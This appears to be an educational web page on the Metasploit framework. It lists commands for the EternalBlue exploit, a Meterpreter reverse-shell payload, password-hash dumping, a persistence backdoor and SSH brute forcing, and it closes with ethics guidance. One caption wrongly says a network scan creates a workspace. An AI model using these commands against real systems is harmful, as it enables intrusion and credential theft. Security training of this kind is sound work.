Back to Tools

Metasploit Framework Explorer

What is Metasploit?

Metasploit is an open-source penetration testing framework used for developing and executing exploit code against remote target machines. It provides a platform for security professionals to test system vulnerabilities, simulate attacks, and improve overall security posture.

Reconnaissance

How Metasploit Works

  1. Reconnaissance: Gather information about the target system
  2. Vulnerability Scanning: Identify potential vulnerabilities
  3. Exploit Selection: Choose an appropriate exploit for the identified vulnerability
  4. Payload Configuration: Set up the payload to be delivered after successful exploitation
  5. Execution: Launch the exploit and deliver the payload
  6. Post-Exploitation: Perform additional tasks on the compromised system

Metasploit Terminology

Exploits

Exploits are pieces of code that take advantage of vulnerabilities in systems or applications to gain unauthorized access or perform unintended actions.

use exploit/windows/smb/ms17_010_eternalblue

Selects the EternalBlue exploit for use

Getting Started with Metasploit

Installation

To install Metasploit on a Debian-based system:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

Downloads and runs the Metasploit installer script

Starting msfconsole

msfconsole

Starts the Metasploit console

Basic Information Commands

banner

Displays the Metasploit banner

version

Shows the Metasploit version information

help

Displays a list of available commands

Advanced Metasploit Usage

Scan Network

db_nmap -sV -p- <target-IP>

Creates a new workspace named 'my_project'

hosts

Viewing Hosts

services

Viewing Services


Exploit Modules

search <keyword>

Searching for Exploits

search smb

Searching for SMB Exploits

use <exploit-path>

Using an Exploit

use exploit/windows/smb/ms17_010_eternalblue

Using the EternalBlue exploit

exploit

Executing the Exploit


Exploit with payload

set payload <payload-path>

Setting Payload

set payload windows/x64/meterpreter/reverse_tcp

Setting the Meterpreter payload

show options set RHOSTS <target-IP> set LHOST <your-IP> set LPORT <your-port>

Setting the target and listener IP and port

exploit

Executing the Exploit with Payload


Meterpreter

After a successful exploit, you often get a Meterpreter shell.

ls cd <directory> download <file> upload <file>

Access File System


Post-Exploitation

search suggester

Search for privilege escalation exploits

use post/multi/recon/local_exploit_suggester

Use the local exploit suggester

Dumping Passwords

hashdump

Dump password hashes (windows)

cat /etc/shadow

Dump password hashes (linux)

screenshot

Take a screenshot of the target desktop

use persistence

Add a persistent backdoor using the persistence module


Auxiliary Modules

use auxiliary/scanner/portscan/tcp set RHOSTS <target-IP> set THREADS 10 run

Scanning for open ports on the target system

use auxiliary/scanner/ssh/ssh_login set RHOSTS <target-IP> set USERNAME <username> set PASSWORD <password> run

Brute force SSH login credentials

Stay Updated

Practice and Mastery

Ethical Considerations and Best Practices

While Metasploit is a powerful tool for security professionals, it's crucial to use it ethically and responsibly. Always obtain proper authorization before testing any systems or networks that you do not own.

  • Only use Metasploit on systems you have explicit permission to test
  • Keep your Metasploit installation up-to-date to access the latest modules and security fixes
  • Use Metasploit in conjunction with other security tools for comprehensive testing
  • Document all your actions and findings thoroughly
  • Always clean up after your tests, removing any backdoors or modifications made during the assessment
  • Stay informed about legal regulations and compliance requirements in your jurisdiction

Remember, the goal of using Metasploit should be to improve security, not to cause harm or gain unauthorized access. Use your knowledge and skills responsibly to contribute to a safer digital environment.